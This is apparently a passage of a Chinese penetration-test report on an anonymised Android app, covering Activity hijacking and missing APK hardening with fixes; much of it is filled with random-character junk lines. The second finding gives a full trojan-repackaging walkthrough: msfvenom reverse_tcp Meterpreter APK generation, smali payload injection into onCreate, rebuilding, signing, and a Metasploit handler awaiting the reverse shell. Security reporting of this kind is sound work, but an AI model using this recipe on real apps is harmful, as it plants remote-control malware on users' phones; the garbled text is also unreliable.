0 `2 B- |" N# T( C1 Q/ Y$ x! q: K6 I
' |7 k" `, [9 I' g9 L
- b& r) h9 X& O4 D l
8 k- ]1 Y. M+ ]+ b& [. L
T: {" f- z) x% ] 8 U& |. @- [7 t4 H8 j+ G! t3 d
3 E1 F8 m" f4 Z- v2 k% }+ c/ c7 V
表1-2 测试结果 3 X6 x2 ]8 S1 S4 R
% C4 }$ r1 ?) B) w# `: h- `
' J O. t4 ~- x+ }/ L Z
; O& p& q' {) Y( L 2 e5 q: ]4 i4 g. z! z* E7 @7 g/ r
. d% R5 v& L, g- f7 U0 R2 w
) a* L0 S& D; I6 t( E! `2 W( I
% L+ v0 [5 J8 V
4 s8 L# {' y' l/ S t) M1 e: ]7 [6 ?. m) w% z
+ k2 a! J L3 e# `' g* Z( p; Z+ A$ R# k
4 f) U' w& x! V7 Q/ N( W
2 检测结果
+ u/ V+ M0 @5 n4 Y! b5 P; D- ~) Q ~ B
5 g3 T' u$ e* y9 \
# ~1 m) k" W: M 9 U" Z/ @2 o$ P* ?* k3 X# }
* p: a4 r. S9 j1 x
2.1 某某某
+ G- M7 S2 n( a- x3 d z& {8 f: s; ~' S% _
4 U1 _/ J; K6 o$ o! ~6 b1 N1 a
# l8 p0 J8 e6 a5 r
: h2 `: T x# x5 g4 _4 E; L$ p: D' _, `4 U; Y6 `
2.1.1检测目标 , O0 t5 j7 H. Q
' ?- n# e* U# U
; O3 f# r: w+ ^ v1 j( @
2 N- B+ g2 g6 r+ t
* v% F" O* X$ [% @3 p0 g. Z
6 d1 t! J7 k. g2 i: H 目标地址: 某某某某某某APP 1 j* C0 R6 Y L E
& r; f) n$ y- o. C
$ j6 s! _4 {. e7 d$ z6 d6 E, t" R! I% {
/ B" |4 t& m W5 r
* |1 \; l3 L2 u. V 2.1.2检测结果
" V e6 P |% l# K9 Y9 r- c( H! B/ Q9 _2 N5 q4 \; c
- r: l& h' k6 y0 P- e, C5 O
2 F: u, r8 z1 f) Q3 y
4 x9 C, I. J0 A K9 H9 a
3 g9 Q/ ]6 z3 u0 X* { 2.1.2.1 1 u& ?: o. g) {6 K/ C! H1 w. ]
% w& p6 ~" n3 j: a
K0 z t, I9 d+ |: i! K1 Y4 S6 | n1 _
0 v: V$ V7 @" D
! P( B& t6 p/ o) I% b- _% Z 漏洞链接地址:某某某某某某APP
5 L/ L) Z' }6 n7 S" a
6 k9 ~; G8 |, ~$ W- y, ]8 r+ N
J: o/ Y, ~2 Z6 H1 v, W0 r! I7 s
2 H+ y/ f$ K5 V8 D+ Y* N% Y0 g- n
, P3 F0 A: C7 O% o c
2 E- K1 U& A X- n/ u0 j
* ]# ~) d$ _# Q. ~7 i
; J- N# ~) T; u# x7 r5 {0 P
3 @/ m. `# }6 ^) t) [5 Y% A+ X
" c& e4 `5 I/ T
/ |9 O1 Q/ x% }' r+ q* e
' \/ j$ t. m0 V X- h0 F, { 漏洞分析及取证:
: B; P! J" `2 q$ l5 s9 t+ C& t4 \# R$ j
( e8 W! ^* U/ p( k2 r) o) v
5 E/ }! h6 t8 [8 o
( y, R, v3 @/ M1 W" S& J* x. s9 O# [% s" k( U: Z6 U2 `2 ^
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 4 E1 T7 B8 P* E9 l M+ M
# T$ ], ~" V( d# x
7 x6 _8 n7 `" O d }2 f: W5 W6 A- v& G) o1 z9 N @
% v2 F- w8 E8 H* u/ F9 E! F# _3 G% b& \+ x& z4 J
& q7 ]$ S) u; n. X$ m
/ t& \1 A) u/ A/ c J t# f
3 w- t8 G9 x6 e2 E( ~; n8 Z
/ P* J- }. l$ i, z$ T1 T
' d# e6 H7 W" i0 e8 e1 c/ I
" Z$ u7 p6 [) k+ L S ! r8 z P3 j9 N5 r) l
, E' d$ z8 }$ `0 s0 N
- p7 a% [! R1 \0 X E3 J! Q
% ^7 D5 z% J1 b- l' L" A0 e
; r5 U2 t6 b! q0 s
9 I# M3 z7 P3 i2 r2 W & z0 M# {4 D9 w: l
$ P3 J U( F" n5 I8 G L0 S6 `
$ p) A( h X9 V; K/ w; ^6 N5 x' Z' n+ t; n7 O [* y1 ^2 F/ D
: P, p. {6 E/ h- K: [' p% p# W1 I' z8 r6 H5 j
. K: E6 e1 w$ ?; O9 q( o0 Q
% L$ x. h: q' ]. m+ B+ S
- c3 e6 Z; P1 g4 z; \
. R9 {- M4 l1 y% C
9 m% Y; H& {9 e4 m
$ I ?) g E; W4 `' X' H % z" M3 Z9 |( G4 _# o
* Y- i1 n; o. w# `) K' n+ q5 e- i# N$ q
; r5 x4 K8 J+ e# J
; i# e$ ?7 G/ n" Y
! W- d5 h* d7 [" N
; e5 O! W! r0 `* c7 C 漏洞危害:高
! x$ V$ W1 n# Q" ~# O4 W' \0 m
, {' k" J9 R7 z- p9 a. ^& @7 S" k! R
$ {4 q) ]3 o1 W- d* a9 k( R1 ]
) i2 X' \6 D# S6 T / ?6 h# A- K- D0 g
, Y* h/ z0 F; M1 c! F
1 f; {) Y. t: K( [3 M. z6 X3 W1 Z1 B* `3 j& \) t: L+ `
9 e' `3 c9 p2 {% _
) y, B" X4 O9 y
3 t2 A) }9 ?% T
1 k; G% A# _3 X- Q g
3 x ^% v: _5 U% S# e
5 d( t5 z3 D( b9 x7 s
1 h3 q' w$ J3 ^9 w1 U/ q0 ~2 z& Q6 m1 j
严重程度
/ X: K0 v0 y9 c$ q3 M r, d# B* I. E8 M }: d; t$ l; A" J- @
+ A% f5 t& B3 a, W: J6 S2 r* D |# b
* |$ O2 B, B' N% g e/ @3 s; g; ^
| + ]3 p/ ^3 E6 ?2 h4 [
0 W' x4 } U- e C# n p9 _
7 q) h# d6 t/ w( z& `
Z, L/ C& D$ W ; H+ R4 A/ }7 K( n/ j
+ ?( j+ E n: _( s- C7 v
高
( o# {% B' l2 S D _* R
+ m9 i$ J, l A: ~- P . J. z. y9 G& O8 G! n# y
4 x" Q5 ^+ w5 V+ i3 r3 M; n, v7 @
|
# A' c$ |% @7 R: U. ~% p, a$ U) b y
" s' {6 ` |, }# ]' F) I
5 P6 i$ D* Z3 Y; i
' v1 h9 \: B# J+ B
* O$ a# s+ w. I. f9 r6 J+ d ■
0 f( q+ O6 f! W$ w9 G [$ Z/ N$ i
8 D/ ~' P. N7 O( X. \3 c: `
& Q8 _* e0 o( H Q9 A" x4 N | # L+ ^, z+ A% b, h
, L i8 V# J1 l4 A* a
8 u7 Y2 ]/ \8 f9 F
5 @" S) K8 u6 g$ x* W4 w 8 P' ^( E0 K. h1 ~3 f4 |0 p" d
) ]9 n5 O6 `5 U. t2 E5 p- J. c
中 ) o& D/ M0 A U+ L" Z
/ d* h5 Q4 x: p! \" J+ e: I
) [# \0 L0 R; T# D2 Z- Z
% C( Y3 Q2 n% y0 S2 ] |
9 D$ \! W9 U* J- Q2 W4 b) l
' F7 B7 N. @1 b, R3 T . ^. k# s, k' S3 y/ H- ^# n
2 d5 d# X8 j8 o
$ q+ ^' i+ f% U/ R# G% v
8 k% R; Y, j6 d. Q' B* N
% i5 a' O( J9 h" a- T* p, ?
% d4 S w' C3 k( I( N! P 4 v* J, m3 N6 q; v/ v2 w
) K& g7 J8 K; W" B | ) { K3 v3 ]$ c( z" t/ O
m4 K; a1 L. F2 N: m, a
' p: J% t1 l& w* L0 \% {; P3 B9 x( n; |( c6 F0 n9 w2 _
% j/ u% a7 t& T, C5 e- s! \4 R. y( U" t' n" b B7 N
低 2 m* {! g" n) ]% l2 T" L
' b2 v9 r { t5 S% C8 G2 T; U% _ ' k) L# D9 N5 U) b
" x7 ~: q1 o# z0 u1 r6 N |
' S4 I# a, w% Z: i$ G- f0 ~4 W
4 K5 N1 m4 z& u# U2 e, H! {& V" x3 e 5 ]! F% F& S1 s* n* U& B
& F# g2 j! {; K( d I2 A
* | s) J+ M, J! O: E, B: w% c7 {$ v$ i# Y
9 S! n# B9 Z! ^ |* @# y2 c5 ?! x' W/ b" d5 d2 e: w
- `7 j5 S; a1 v! O7 W' R
* b- N7 g/ S' V* L! Y: \. j1 e) s |
6 z! g: y/ B% C* ~7 e3 M2 r' S0 d V; B# s
- L" a9 u8 _1 Y& |# J0 o# g
* Z* _' A0 F/ l& r" {
4 @+ g; {1 C# g# i" `0 j
+ E. \; O- V$ I) K4 F7 m% p
$ R0 `- b. U m* O! b! I
F1 E# \, ^' O6 i- }: j
* B% { \9 G' u! `9 W5 q3 x
# ?- o; Y' f3 W* w$ j
! d% d7 E/ \' W) Y- T1 J& M. t+ k4 d8 w" }$ D
* m% h: B+ p6 \
8 ]: {. k. e4 ^; ?& F
3 r: s# W/ n$ _3 k5 {4 n
|- x, q+ [& w& j. F1 x u! X
: V1 {$ a/ R5 g9 D/ y0 {/ b& [# [! b, [: m/ h8 v) w
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 ; Q0 q0 t/ R8 u) Y8 D
, M0 r% S8 T8 y' i7 c) S# C
/ K' t* p$ ]1 K' t! `( M \& f7 F( v4 H+ V
* h8 G4 ]* \, [
/ i" q- {$ M' ~/ j1 W 0 M2 |2 D+ I$ V% Y
# x* `; x7 H- C; r( f; B
+ N2 ~: @( Y! t; m) f* q; V! S7 d7 V( {
+ M* W3 s; ] E7 g
% k9 i7 |1 }5 _, M
! n: A( ^ y4 p/ ^; I9 S |8 H5 C! A: | o" T3 r: e# P+ a
, }% S5 x; l$ A# t
( K9 o; e4 Y) W$ ]3 G1 f
! G. Q, B9 d7 j- p/ d3 K4 p# V+ T& n9 P& k ^
2.1.2.2 & _$ @. X' ~% z0 @* {3 |
3 C7 x" R8 R0 C# ~4 n+ c
8 L- y# T; f, E1 U* q9 d% n' t5 e
& s+ ]9 @9 V% V! L. w, Q
. [: I/ s! o# e$ n4 L
* x7 A. S' l# z$ I/ r! Z; H! ` 漏洞链接地址:某某某某某某APP
5 S& D& l- @6 p4 a; o F( g
3 S; r0 E; G$ D. v- P) D- b8 F
+ L6 N5 b ~( \- Z* S" q4 v
* }3 |) E" @5 ^. g% o
0 h: r: v" o* s8 j+ u# |6 v3 V: f" S/ ?
漏洞分析及取证: : `" |- ?) P7 z$ C
- N3 L+ H! O* S, v9 Y) }
6 l# O: l' Z0 j/ a" _! U. f5 j# Q
6 B8 ?2 @' r, l) H# U
+ d9 c8 \+ _4 z& i. z. }
; G4 e2 b+ q" s8 N% u 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: # M6 V# K3 a" I4 t& \
* u: R* h7 h }3 c4 p0 a, t( }2 X
+ Z. C, J- M* E3 K4 q- X2 n% L6 v/ [( @# X3 ?
4 v6 G1 S$ o) Z( a! I- S2 _5 n. ^
, A6 ?+ {2 p h% Q |7 F1 C7 Q2 | 用Metasploit 生成木马 apk ^4 p' Q# ?6 b: P8 L- i: \1 J
7 u0 a' G1 x6 h3 m" ~
: P0 j9 G& r; e1 r
& H& V9 h" r$ v* X0 d
8 k& L- w: Z' M
1 A, o7 g" K! D2 m1 w7 Y7 Y msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk $ \% Y0 a) `( X o9 ^3 S
. q/ [+ h) B/ @8 u. W$ ]; Y# g8 w
/ T$ c8 {# o; r6 s) w' L0 _" M
5 u$ L( }, \& n# b1 P% C3 B , \: ^7 x2 U$ Y0 A r( K- t3 q) F @
9 G& k8 _, x% t+ e; S
反编译目标apk和木马apk
- f8 e2 F: G4 x, m9 {$ F1 }) B* S. Q0 {
! T1 e7 |, F" P. S) \' b# e; n
0 x3 c. \$ C1 p1 m( ~" N5 v% K 0 J- |& H# ~& s
0 _8 r5 _* U; V6 D" o3 t apktool d target.apk
2 N# w* S8 @4 b! t! Y s
$ \- H. a$ r9 a. C) q6 E
apktool d cockhorse.apk y9 q P/ @# O/ s6 }
3 G* V5 L( {( {& i
+ Y* O" u- ~" [# e7 o& x3 j: y
! x( S# Y' X0 l6 K6 F: B 4 w) C) O u* A" ?
! W6 m6 H3 G' z9 h 木马 apk 注入目标 apk ) i" v+ F* R4 ~/ y
: g, s/ U% g6 t4 W% w+ f
$ N7 a% H \+ c# {2 N! [+ g
; g) w; g7 o0 {* X8 q: l
) F1 Y" R# l+ R2 I
( t X0 q, i5 l. b8 {5 z 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
+ A j. \7 U, A# `: N* k
2 j E6 j7 i- R3 {+ i( {3 [( z$ { invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ( R9 X. Y9 q ~& c5 R/ F3 G
: z9 i3 W9 S4 K. Z( I% O# r& Z
3 ]* b Z1 Z/ ^* M
) ]) q& _# x. d- q+ m }
- s# l( _5 B2 ]: H! M ]2 g' _6 H% `# a
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 9 r, Q4 N8 S2 H& {8 u Z
: H+ \+ u ]# G3 }8 u5 c
& V5 W g' }3 t4 g" C+ |' Y# ?" S+ a( J. ?! w8 m# W
% h) e4 k2 C a/ B9 ]9 B- U$ Q' ]6 q; N# H/ W% a
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 + P! [& B% q$ w: a1 H- V
$ Q/ l7 f) a6 E- @1 f0 m! ^0 ^
. O5 Z6 W6 k- z. B0 w( k6 O; {! K+ G
% o+ C( |& M/ v
& `3 V5 @' Y4 c/ D 回编译生成最终 apk
. U+ o& D+ n$ j8 I& p3 Y, K2 U1 U+ s0 M- S: U P
2 _; x" Y: c: c
5 _. X, i+ ^6 {- L( p
[. P/ n7 @" h5 L y8 y+ h
; ~, b" k- U( }9 B: c 重新打包
6 D$ `/ v M4 S
% n! l3 i. |8 ^
/ @( H- d. e2 u. h6 L" O+ W2 Z" \! F B% d3 H. K* J. r" Q
8 F% U- A. c4 I0 }7 Z" j: T+ R% R1 ~% O4 }8 ^
apktool b -o repackage.apk target_app_floder
0 n9 b! ^1 [# c3 c1 k J. v, T2 c+ t, W% a8 @
6 N, L/ u' \' K% r$ e
0 E3 V( x. I- \, O# Y' n) @3 g
9 t6 ?5 s+ U! q/ K" V, N- z! m1 {% t @9 M1 I$ r ]. Q
创建签名文件,有的话可忽略此步骤
7 j. o, A, F0 b% B ?! S$ v' ]* m, f) ~' ^7 t4 u3 R
% F. \/ C: F/ f' \( |" ]/ e; b0 X9 N: i( f# ^; @
3 E# ?, b, B: D, Y4 [' f6 h/ k+ f1 ^3 E- q; S
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
! r/ v* W& _3 |# a+ I
0 z$ C H5 z" X
& b* N6 |0 y9 ]6 e9 a, k* Z" h6 `
( n. w+ ], R( K; z4 }
( J- V* O8 H$ P w" l( k 签名,以下任选其一 $ f0 c @ m% h; k
5 J* q0 ]: h& m
G0 b0 f) [3 e |, b# {# t$ X0 o& t0 ]6 }
6 e2 _+ \# I) T- n$ N c, R% ~# D' n
3 T' E5 i. f$ @, R# A
jarsigner 方式
6 I* ^1 n" O6 P& ? u+ r% T+ l8 z6 K. i& g' o o. u$ ]
" v- o# ^# u6 x% f; g5 b5 y8 e" F, P8 c
; L# z P6 ^1 E+ z8 x
9 F1 q* I, P5 X% [5 B
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname " s- M( x: r# W$ Q5 ?4 C
0 y/ Q3 L( F6 i& n1 }
0 x3 H' u& l7 m q! Z" q" R& ?; {2 C% u- d6 [! t
5 J2 a% X" s1 R- M5 Q3 v
1 i1 h/ Z p6 w- v) V, \- v" ~ apksigner 方式 + W# }' v8 c3 j6 M/ E
( E; v; d4 u( K, A
1 Y2 N- e3 y- u5 z0 d5 S
% U9 Q4 Q3 S% k, x+ I' }: N
3 h1 }( l' L- I, S
* n* _- o) Q7 `* U apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
2 g7 E6 n& c+ C# Y
1 ?# B+ d. }0 a9 e/ ?8 ~0 |4 A6 p
7 S: E. C6 M: F+ b3 g
I8 Y6 k9 O1 h9 ?! X& h2 ]
* K" ^7 \ O# u8 H, o/ t
6 i" p C4 C; M 如需要禁用 v2签名 添加选项--v2-signing-enabled false ) a; S, f$ @+ B' ^& f
1 {7 g, a2 ^! J: _: \* g" Y
2 a5 @, E5 g. ~, d) ?% @- x) U- t" w) d9 Q3 T' M
, [8 @3 E. d2 B; q, C
- f$ T5 T! X: X: ] Z" a2 y$ W 验证,以下任选其一 ( Z: q! d% }1 x* H2 f/ B
- {) ?+ @3 }$ {+ V( P- Z6 `0 U
1 m6 O3 ^) H9 t* I* d# A0 C- {! w$ i2 X. \
* U$ P+ Y5 y: B" n7 r
" K; |) M- s- D( h4 J
jarsigner方式 ! @# b0 |) N; M- k
" S( \# H% _6 @6 P5 j3 ~
+ j I7 k+ x: ~1 R1 a
) N0 e& R/ i2 _ / H# X; ~4 p6 I9 }7 b }- h* Z% o% [# J
3 j7 E. [1 ~* p/ F! ?
jarsigner -verify repackaged.apk 7 S0 E. Q: T# d# P
8 E* b2 p, G+ p+ W4 d; e$ }0 S
; ?4 v3 K+ j8 `/ ~9 t
; s% V1 V/ a5 K$ U ) @9 K) s0 j) t1 W! {' d! `9 i! C
/ o1 [' [. X1 C. G apksigner 方式
: D; t3 h6 |4 S) L8 C% U$ Q$ @% T9 n2 e& C+ _# _, k
, ?/ G3 F8 w d
4 O, F/ {; x8 R/ j
4 M% ^' q. N' h1 X
( i/ X! A+ U) Z apksigner verify -v --print-certs repackaged.apk 0 q" S* W+ u S
+ _" m) F% Z, Z
K6 b2 x) n @7 @0 o( l0 t
+ C8 _. S8 R: L3 s) l1 n
) ]6 r9 w9 C! A8 _$ e
) x. G& `6 J& h6 x* N1 t keytool方式
& s1 I8 k2 T& }' J: Z' q' N* R3 g( ]; m& v. P5 J
8 |2 s, \( [* M* Z3 r: \3 W, ?( \6 U7 {! d2 t
" S# p0 I5 L: t3 P+ `, W; z
- z! g) g% v$ [
keytool -printcert -jarfile repackaged.apk
) d5 }% U) c ?/ S. q; K
7 p: C: ]6 F0 @5 N' I7 f2 j
8 Y; \( d4 Y0 ^# L9 n( Z, A/ \$ |' T
! i( c4 d' E6 Q8 ]9 g4 @6 P) Y0 j
对齐
. S8 {7 J z) _& K/ s2 ?
/ t& G/ M% X& m# Z7 V: V" l
8 g. `# x9 b& F9 {! O
7 i) P& a8 d* e" f
2 T$ @ d( d0 ^# \! P4 C9 g2 \
' B) u5 T* Q- R. ]0 Y w5 }/ I 字节对齐优化 9 U! L5 N9 b4 t% |+ X9 b' F6 N
& W1 q D' Z( p& |
' k! [+ y! P3 y: u2 |3 t$ `
2 _: N; r e; p
7 F* F. G3 a+ K, p
; E0 n- ]7 E# [) y zipalign -v 4 repackaged.apk final.apk ; ~- r# |( b. Q) ^
. P. h& T, L: W8 T3 |
$ ^# _* d4 r# u" t" ]6 n8 P
v8 b$ q3 k3 e9 q: m2 u
; k5 k0 ?0 D- p, J# n- M, n" }% J" n# T' k. X1 S- z2 a) W
检查是否对齐
5 S7 A) C* Z9 _4 n! i \
8 w. j4 Y* s9 S$ ^/ k5 Z
) j) j; h' p/ t$ g. t
+ a/ c0 o7 n, Y( _; ] 1 `& K: b2 g* c) T; T
% q4 T3 N; s" C% J/ r5 g3 g( c* p& R6 M zipalign -c -v 4 final.apk
/ q$ E6 @% {& t1 m4 [( F. z( P1 f7 A! u# z r; J, }0 ^6 N4 W
9 U0 T* Y2 {0 L4 m9 e
m* ~4 W7 x4 G( _$ T8 f 7 v1 S3 C, C- ?% ^% u
, A& I, |) E; o5 r. u3 s
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 6 q; l2 V1 ]1 R
+ Q8 y5 Y3 t' G; V
' d4 J+ r' w) y0 M& v5 ?% E1 D& N9 A$ k6 T! o3 j
- c7 v: p3 X& H, s6 G3 x
, p: W! v( C: F9 t6 a 启动Metasploit控制台,配置参数等待上线 ; ]( p7 y( s( d2 F, m8 u1 R
5 x( T& _4 r% [& u! q0 x3 l, m
5 m9 E K8 q% a: e( `; _# q5 \$ o, a/ _$ h1 \8 U, K( o
& H7 i" K8 A9 I. X/ t3 b# i
8 p$ J+ W/ U5 k0 F7 T3 I 在终端依次输入如下命令
6 n* j1 a; |& W8 F$ B9 ^+ \) d% K0 S* {/ l; E( |
+ W: Y, A1 n3 H
" @# ^$ ^: k$ e- F$ e4 @ 4 j. H% n W; [, h7 n& `1 k& d k2 j
! [0 e' v! X0 ]# _ {7 X3 m7 C
msfconsole
. O3 ^$ J0 n( P. j
! r2 F8 \# r! c0 x: M# ~1 x
( U4 }* J. d J) i: ?; t2 w. R" o
7 G1 l3 m/ G1 p0 P7 h) v" C
/ L% Q. m# c- ~8 A% S8 x! `! K! e; T" k
use exploit/multi/handler 7 `# Y( ^( ]# T$ C
+ B8 t( V. c f# |
& P/ L! |; z l1 i; {7 _0 Y) [$ | m7 V! V
" ^/ x8 z& a0 `8 [7 m8 L9 x: f0 T" m8 b. }* B/ k0 C d
set PAYLOAD android/meterpreter/reverse_tcp ; W; H. k0 w$ D% R# t& y
% m7 c. j# O+ W- r% o
9 b2 M" e3 E4 T9 c
/ I( y7 C1 F4 k& r O% m" S `( r( K* t( n/ e
& i' p2 ^8 W" i9 A7 a; w
set LHOST 192.xxx.xx.xx 9 A: z" z% t% s6 m8 R, T9 @' O9 g. |
( }" z) N9 K5 P$ Z. `
2 l2 I8 C+ i3 Q4 e9 U' b8 l) z T( W( m) e0 d5 C
6 J: j7 N% b6 z; {# S3 S8 R0 u# C6 {" ~ @+ [$ `, y1 \5 b, [
set LPORT 4444 ( g* ?4 M H5 u5 B4 E
$ t% d9 g' V2 E
" @/ B; m% T( M$ E3 L7 ~) E* R9 m$ }" G2 l* C1 O! H
7 `/ w% Z& |! m7 ~- o* C
2 q* T8 o9 c* `0 P, O& b% [ exploit 9 O) n# ^2 n" b; D
# o4 a# h! m+ N
4 {# p7 f, u; O% H0 F, N# @, n8 n5 N; B+ @& S$ Q. I4 B
. ]# P: I8 P) {: }( ~0 j( m2 K, p5 S1 Q+ e
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
: O4 {2 S# c J5 K9 W0 O# _; h
) B5 _* A. D, Z9 G9 m: C- [
$ g4 e( P7 y+ [9 V' I0 ^
1 U: ?# P( c9 h6 o6 k D; h8 m, t - ^1 q+ q7 d0 M8 c: W8 {1 i2 Q# i
! X& G" }+ s5 V% A6 W8 J
漏洞危害:中 $ v/ A) Y# L$ @" C% l: B
4 K3 Y5 [$ F2 A- J: }! p
; Z. t. z8 { W* ^( M
+ W) l( ^4 c4 Q/ \4 w
& U+ b2 ^9 ^0 S& v2 j; n$ i, ?3 ~6 d N8 x6 C. @/ ^
2 K& @' J/ x+ a$ j" @- i' i8 I# C; A" T' o' ]
8 r/ c! j0 m, e( _$ n6 w" n
$ X! Z. Q4 X; K1 M* F$ V
; M. C5 x6 c( o. t
y+ F4 B2 a4 w* Z( [0 p) @ : l6 g- Q* s% [7 Z9 @% Q2 J
. W' `7 u1 h% n) i- D3 n
5 N: y& w7 \+ V2 t+ I/ P
3 ?& Y$ h! Z. `2 p
1 \6 a0 ]2 e* d& m5 ^6 ^! Z0 c% |8 t* [8 G- e
严重程度 * ?6 g" ]* s! {2 I$ L4 Z
/ B( p( n4 {; G# @, y8 z
9 _. v3 c" x# t5 a6 g/ } G* H5 V. E; I& w
| % f! d" s- J# u/ n" K1 g
# i, }" l5 B% D" L# W: X
% B* q1 Q' ?; s: X
- P- t# `0 i+ x5 L4 f/ M- ^
% m- A3 Z- N4 b; g1 b9 f% `
! N2 k5 H# O6 L$ Z& s# z 高 1 L" [+ t2 l B7 v% U. c2 t
% \. x$ h% Q, y3 K ! T) w( o8 N) U* E5 @2 ~
7 _5 v7 X- F5 o' A/ l/ h
|
0 a& h: i8 F: P) B* h; Z; r; S B5 q- P5 b7 b$ N# Y# l
5 i) u7 X6 q* f! O. F. _7 D$ h6 X
! _2 @2 N5 m7 X5 k
; Z7 [! G" u( o, E6 E4 L' o- ^
3 }6 M) t* l8 C+ [3 R
■ % d5 r6 G6 G/ b( Z
$ b8 \4 S. h! N1 }. C
: p: @8 k) ~* S5 t, f) W5 t' j J- S8 ?
4 r( L, e8 m* N. F. n2 K6 S. E
| $ F4 P* H( l0 y( d
N& _& s0 C- N- g* x9 T + f' u/ O+ w2 r e* }* J
' E! a# o; E2 d5 w7 N 8 f. w" ^& U0 w) V/ d' T4 ], _
' Z t4 c% G2 T" c$ m+ K( F
中 ) P9 _! {/ C: g( q8 v0 c
+ e2 S$ P& [0 Q% t. G" c0 R" x 9 _4 s6 S' c8 k9 J8 T# h$ T
; q8 [& b/ a4 D5 G; \! b/ y6 l1 u
|
5 _: j5 E* P' y
c8 d A% f5 t4 j9 v" t. N
8 V Z- Q2 N& U) a9 r
W, x; h7 n5 E* N1 c4 s" N x 6 J5 P& T2 i% D6 m! |
( p* O6 {5 b: v
/ a4 _ r3 j; t2 s- d
1 d+ |/ s: v4 \) h $ w# t0 J4 k+ K& S
& b; q k5 y. ~( j: k2 h
8 N1 M: V1 r( x" \$ _2 n3 G( J; ^9 q# J' ]* [7 x
| 2 i) g) U( [3 N) ~* I1 o) e5 n
0 y" z) d. T L! k$ d' b4 j0 g
, F8 h" @5 ^% j& f2 |& q: g1 s) o
- t+ I' t+ x$ b5 c/ U K* w0 K8 T
- j5 s" f# n- o8 `# @! ^) E: h 低 * ?/ Y5 C) }& F H
- {/ L7 P- j) J+ a
& a' ]6 _1 I, w i9 Z0 g
7 t9 }! T8 z7 W1 [) c# R5 W T
|
& j1 b- t; A4 B( X
, @4 T# n4 h! A: u, |
1 \$ C$ R L+ N9 T6 R
$ k4 y' B! H! n3 N
8 P; c3 p0 E, T. |
0 o8 ?& |' y& G U2 C- o
( R8 e3 B0 X* W7 o) `% ], ?2 D! b; w3 D d. p" Q1 O. S
- n0 t) H2 V, }0 k
# C" k/ H+ d* z+ g1 b+ m& O/ ^
: f0 w9 ]0 o) ^9 ?( Y# q% W9 e
0 L! Y* \. E1 m | ( Y- m9 d \$ D' q
; K2 t( F& J0 H7 C# p5 i" u/ r
4 P8 h2 U. O. `8 L. F
, {# v- o1 U5 z
5 i% g' l7 u% F- a8 I: T
$ \* R2 L4 {1 C2 z9 i
9 a! R2 G4 U8 U) w6 w- A, B* C$ e' p% s, O* D
& |5 F5 ?: k2 I' j9 G0 B( J6 @# W" o J N7 u% V6 X3 }' S! S5 k
% s& k$ @" C& h
0 P+ K, t+ V2 P
! M$ O' r, h; s$ ]8 p# @' |
3 i4 o4 f# N9 C& U0 h5 n5 D, b" T
Q& c) C) t7 k* | D0 l: H6 `; g1 c/ T+ ]4 B3 O* p' a
* _5 h( w7 X7 S5 h
; E- o( ?' O O: k( r6 c. A 修复方法:
. ]. t1 P5 P/ x6 z9 F) M
b- h3 o4 G" K6 G3 C0 { v# z
8 S7 p, W1 u5 _" N) h
$ M7 d1 Y/ l$ U, O : h0 r/ q" e4 o2 `2 i
4 T" D( l. S* C
1.在 APP 启动时应做签名校验防止二次打包。
( N% U5 Y( g5 H% w
+ M4 S3 Z" \& @" A* o 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
( A1 ~1 P& U2 f5 Z' }7 w: T: V! D. H0 f% Z# Z7 M
8 W0 P9 Y; |" @0 R
* o6 f4 a& W3 T 7 {' _: h# k! G: ]/ J; P) Y
) p$ e- p; o) |. P( M# J
$ R. x! ~0 |$ e2 x/ R7 Z8 y2 |) i, D3 P% X& m" f4 i1 y) j' ` e* B
$ `: F; e: X6 e
! _# y/ d/ p1 z0 y- {
1 v% L- O, h4 a9 i1 ^3 f
& L ^ v. c& N, i0 x5 e) X9 ]4 X 1 g+ o5 F1 I, M! A" p+ ?
# f' h6 g0 |/ |: i! ~9 o
3 i0 E' J1 x' u. T2 Z7 q3 q
) j) D+ a0 i" r h, j
( Y# S% L, C, k0 N& ^' E
& U8 w# q. q* y6 I3 {6 D$ W
v) N* R: B8 x0 e \/ P+ L* d. |, w& c# ~& F5 t4 W" p$ f